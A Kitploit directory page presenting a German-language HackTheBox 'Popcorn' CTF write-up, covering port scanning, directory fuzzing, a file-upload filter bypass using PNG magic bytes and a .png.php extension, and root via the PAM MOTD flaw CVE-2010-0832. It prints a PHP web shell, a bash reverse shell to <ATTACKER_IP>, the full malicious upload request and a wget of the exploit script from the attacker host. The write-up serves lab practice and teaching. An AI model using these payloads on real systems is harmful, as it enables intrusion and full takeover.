Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Popcorn-TJNULL-OSCP- — Popcorn HTB Write-up, das fortgeschrittenes Directory Fuzzing, File Upload Bypass via Magic Numbers/Extension Spoofing mit Burp Suite und Privilege Escalation via CVE-2010-0832 (PAM MOTD File Tampering) behandelt. | Kitploit
Tools/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationFuzzingCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Popcorn HTB Write-up, das fortgeschrittenes Directory Fuzzing, File Upload Bypass via Magic Numbers/Extension Spoofing mit Burp Suite und Privilege Escalation via CVE-2010-0832 (PAM MOTD File Tampering) behandelt.

Repository anzeigen

HackTheBox: Popcorn Write-up

Datum: 05. Juni 2026
Schwierigkeit: Einfach
Plattform: HackTheBox
Schlüsseltechniken: Port- & Service-Enumeration, Directory-Fuzzing (Gobuster), Datei-Upload-Umgehung, HTTP-Anfragen-Manipulation (Burp Suite), Remote Code Execution (RCE), Fortgeschrittene TTY-Shell-Stabilisierung (Python), Lokale Kernel/PAM-Ausnutzung (MOTD-Dateimanipulation).


1. Aufklärung & Enumeration

Port-Scan (Schnelle Erkundung)

Wir beginnen mit einem schnellen TCP-Portscan über alle 65.535 Ports (-p-), um offene Einstiegspunkte zu lokalisieren. Wir optimieren die Ausführungsgeschwindigkeit mit --min-rate 5000 und überspringen DNS-Auflösung und Ping-Sweeps, um den Prozess in einer Audit-Umgebung zu optimieren:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

Der anfängliche Scan findet zuverlässig zwei offene Ports: Port 22 (SSH) und Port 80 (HTTP).

Service- & Schwachstellen-Scan (Tiefergehende Analyse)

Als Nächstes führen wir einen gezielten, detaillierten Scan der identifizierten Ports durch, um genaue Service-Versionen zu ermitteln und die Standard- sowie grundlegenden Vulnerability-Skripte von Nmap auszuführen:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

Aus der Ausgabe extrahieren wir kritische Informationen über das Zielsystem:

  • Port 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (deutet auf eine stark veraltete Ubuntu-Linux-Distribution hin).
  • Port 80/TCP (HTTP): Apache httpd 2.2.12

Directory-Fuzzing (Gobuster)

Bevor wir mit der Webanwendung über den Browser interagieren, fügen wir die Ziel-IP-Adresse in die /etc/hosts-Datei unseres Angreifer-Rechners ein, um das Domain-Mapping zu bereinigen und sicherzustellen, dass interne Weiterleitungen korrekt aufgelöst werden:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

Anschließend führen wir eine automatisierte Suche nach versteckten Verzeichnissen mit gobuster und DirBusters klassischer mittlerer Wortliste durch:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

Die Fuzzing-Phase deckt die folgenden zugänglichen Pfade auf dem Webserver des Opfers auf:

  • /index (Standard-Index-Seite).
  • /test (Test-Panel oder Entwicklungsinformationsdatei).
  • /torrent (Eine voll funktionsfähige Webplattform zum Hosten und Teilen von Torrent-Dateien).
  • /response (Interne Antwortseite).

2. Erster Zugriffsvektor (Web-Exploitation & Filter-Umgehung)

Die Erkundung des /torrent-Verzeichnisses enthüllt ein Torrent-Sharing-CMS. Um die Upload-Funktionen nutzen zu können, registrieren wir uns und melden uns mit einem gültigen, eigens erstellten Konto an. Nachdem wir eine legitime .torrent-Datei veröffentlicht haben, ermöglicht die Plattform die Bearbeitung der Torrent-Details und das Hochladen eines Werbebildschirmfotos. Dieses spezielle Formular wird zu unserem primären Angriffsvektor.

Um eine Remote Code Execution (RCE) zu erreichen, durchlaufen wir mehrere Testphasen und analysieren das Backend-Verhalten mit Burp Suite (Repeater):

Versuch 1: Dynamische Webshell über GET-Parameter (Syntaxfehler)

Wir fangen die Screenshot-Upload-Anfrage ab und ändern den Dateinamen in exploit.php. Wir versuchen, einen klassischen Einzeiler-Webshell in den Dateiinhalt einzufügen:

root@kitploit:~
<?php system($_GET['cmd']) ?>

Ergebnis: Der Webserver gibt einen internen Ausführungsfehler zurück, da am Ende der PHP-Anweisung ein Semikolon ; fehlt, was den Ausführungsfluss unterbricht.

Versuch 2: Injection mit Parametern in der Upload-URL (Methodenfehler)

Wir korrigieren die Syntax zu <?php system($_GET['cmd']); ?>, aber da die Anfrage über POST (mit multipart/form-data) gesendet wird, versuchen wir, unseren Befehl direkt in der Header-URL zu übergeben (POST /torrent/upload_file.php?cmd=whoami). Ergebnis: Der Webserver gibt folgenden Fehler aus:

root@kitploit:~
Cannot execute a blank command

Analyse: Während der Datei-Upload-Verarbeitung ignoriert das Backend GET-Variablen in der URL vollständig. Das Skript upload_file.php schreibt die Datei auf die Festplatte, versucht aber sofort, die interne Funktion auszuführen. Da es nichts in den erwarteten Body-Variablen erhält, wird $_GET['cmd'] als leer verarbeitet.

Versuch 3: Doppelte Erweiterung (Statischer Ausführungsfehler)

Um einfache Erweiterungsprüfungen zu umgehen, die überprüfen, ob die Datei ein gültiges Bild ist, benennen wir die Datei in innocent.php.png um und hardcoden eine Reverse-Shell-Nutzlast, sodass sie nicht von externen Parametern abhängt:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

Ergebnis: Der Server antwortet mit einem erfolgreichen 200 OK:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

Analyse: Obwohl es den anfänglichen Filter erfolgreich umgangen hat, behandelte der Apache-Server die Datei, da sie strikt auf .png endete, als gewöhnliches statisches Bild. Beim Aufrufen im Browser werden die rohen Bytes als Klartext ausgegeben; Apache übergibt die Datei nie an den PHP-Interpreter, was bedeutet, dass unser Netcat-Listener nie eine Verbindung empfängt.

Versuch 4: Erfolgreiche Umgehung (Erweiterungsänderung & Magische Zahlen)

Da wir wissen, dass der Server die .php-Erweiterung parsen muss, um die Codeausführung auszulösen, kehren wir die Reihenfolge der Erweiterung um (innocent.png.php), behalten den Content-Type: image/png-Header bei und fügen die PNG-Signatur oder Magic Numbers (‰PNG) am Anfang des Dateiinhalts ein, um die Backend-Inhaltsprüfungen zu umgehen:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

Ergebnis: Der Webserver akzeptiert die Datei sauber, verarbeitet die abschließende Erweiterung und speichert sie im Upload-Verzeichnis unter dem Namen innocent.php:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

Remote Code Execution (RCE) auslösen

Da das Upload-Skript die Datei nur auf der Festplatte speichert, ohne sie im Kontext der Upload-POST-Anfrage auszuführen, lösen wir einen separaten Aufruf aus, um den Server zum Lesen der Datei zu zwingen:

  1. Richten Sie einen Netcat-Listener auf Ihrem Angreifer-Rechner ein:
root@kitploit:~
nc -lvnp 4444

  1. Lösen Sie die Reverse-Shell aus, indem Sie direkt die URL-Pfad der hochgeladenen Datei aufrufen (entweder über den Browser oder mit einer sauberen GET-Anfrage in Burp):
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Der Apache-Server wird gezwungen, die Datei zu verarbeiten, erkennt die PHP-Tags, führt die Bash-Nutzlast aus, und die Verbindung wird perfekt auf unserem Listener aufgebaut, was uns als www-data-Benutzer den ersten Zugriff gewährt.


3. Post-Exploitation & TTY-Shell-Stabilisierung

Der Versuch, sofort nach Erhalt der Shell die Rechte zu erweitern, offenbart erhebliche Umgebungseinschränkungen:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

Der Befehl su erfordert strikt ein echtes interaktives Terminal (TTY), um Eingaben sicher zu akzeptieren. Der Versuch, eines über python3 zu erzwingen, zeigt, dass es auf dieser veralteten Box nicht installiert ist (The program 'python3' is currently not installed).

Wir umgehen dieses Hindernis, indem wir das klassische Python-Binary (Python 2) verwenden, das auf dem Rechner vorhanden ist, und die Terminal-Deskriptoren unseres Angreifer-Rechners neu konfigurieren:

root@kitploit:~
# 1. Starten Sie eine interaktive Shell mit dem absoluten Pfad des Legacy-Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Unterbrechen Sie den Shell-Prozess in den Hintergrund
Ctrl + Z

# 3. Setzen Sie auf unserem Angreifer-Terminal den Tastaturstatus auf raw und holen Sie den Netcat-Listener in den Vordergrund
stty raw -echo; fg

# 4. Erzwingen Sie eine Bildschirmaktualisierung und ordnen Sie Terminal-Umgebungsvariablen für Verlaufs- und Autovervollständigungsunterstützung zu
reset xterm
export TERM=xterm
export SHELL=bash


4. Privilegienerweiterung

Lokale Systemenumeration

Wir überprüfen die Betriebssystemverteilung und die Linux-Kernel-Version auf dem Opfer-Rechner:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

Das Betriebssystem zeigt eine alte Ubuntu-Version (Karmic Koala), deren Kernel und Kernpakete mehrere bekannte lokale Privilegienerweiterungslücken enthalten.

Ausnutzen des PAM-MOTD-Fehlers

Wir identifizieren einen sehr erfolgversprechenden Vektor, der die Verarbeitung der Message of the Day durch PAM betrifft (Linux PAM 1.1.0 - MOTD File Tampering Privilege Escalation, verfolgt unter CVE-2010-0832). Diese Schwachstelle erlaubt lokalen Benutzern, Dateien im Besitz von root durch unsichere Symlink-Behandlung während lokaler SSH-Authentifizierungsaktionen zu manipulieren.

Wir nutzen das öffentliche Exploit-Skript 14339.sh, um den Angriffspfad zu automatisieren.

  1. Laden Sie das Exploit auf Ihren Angreifer-Rechner herunter und starten Sie einen einfachen Python-HTTP-Server, um es zu hosten:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. Navigieren Sie von der stabilisierten Shell auf Popcorn zum /tmp-Verzeichnis (das globale Lese-/Schreib-/Ausführungsrechte gewährt), laden Sie das Skript herunter und machen Sie es ausführbar:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

Exploit-Ausgabe:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

Das Skript wird erfolgreich ausgeführt und manipuliert direkt die lokale Benutzerdatenbank in /etc/passwd.

Auf Root hochstufen

Aufgrund der internen Funktionsweise des Exploits wird das ursprüngliche root-Benutzerkonto nicht geändert. Stattdessen wird am Ende der /etc/passwd-Datei ein komplett neuer Klon-Benutzer mit Root-Rechten eingefügt.

Wir bestätigen dies durch Lesen der letzten Zeile der Benutzerdatei:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

Hinweis: Die Konfiguration 0:0 (UID/GID) verleiht diesem Konto Identitätsparameter, die identisch mit denen des Root-Administrators sind.

Während su root mit dem Passwort toor einen Authentication failure-Fehler ausgibt, da das ursprüngliche Root-Konto unberührt ist, erlaubt uns unsere stabilisierte Python-TTY-Shell, reibungslos den Benutzer zu wechseln, indem wir das benutzerdefinierte Klon-Konto anvisieren:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

Wir geben das Passwort (toor) ein, und prompt verwandelt sich unsere Terminal-Eingabeaufforderung in das höchste Hash-Symbol (#):

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Der Zielrechner ist vollständig kompromittiert. Wir haben nun administrative Zugriffsrechte, um die erforderlichen Flag-Hashes zu sammeln:

  • Benutzer-Flag: /home/george/user.txt
  • Root-Flag: /root/root.txt
Tool herunterladen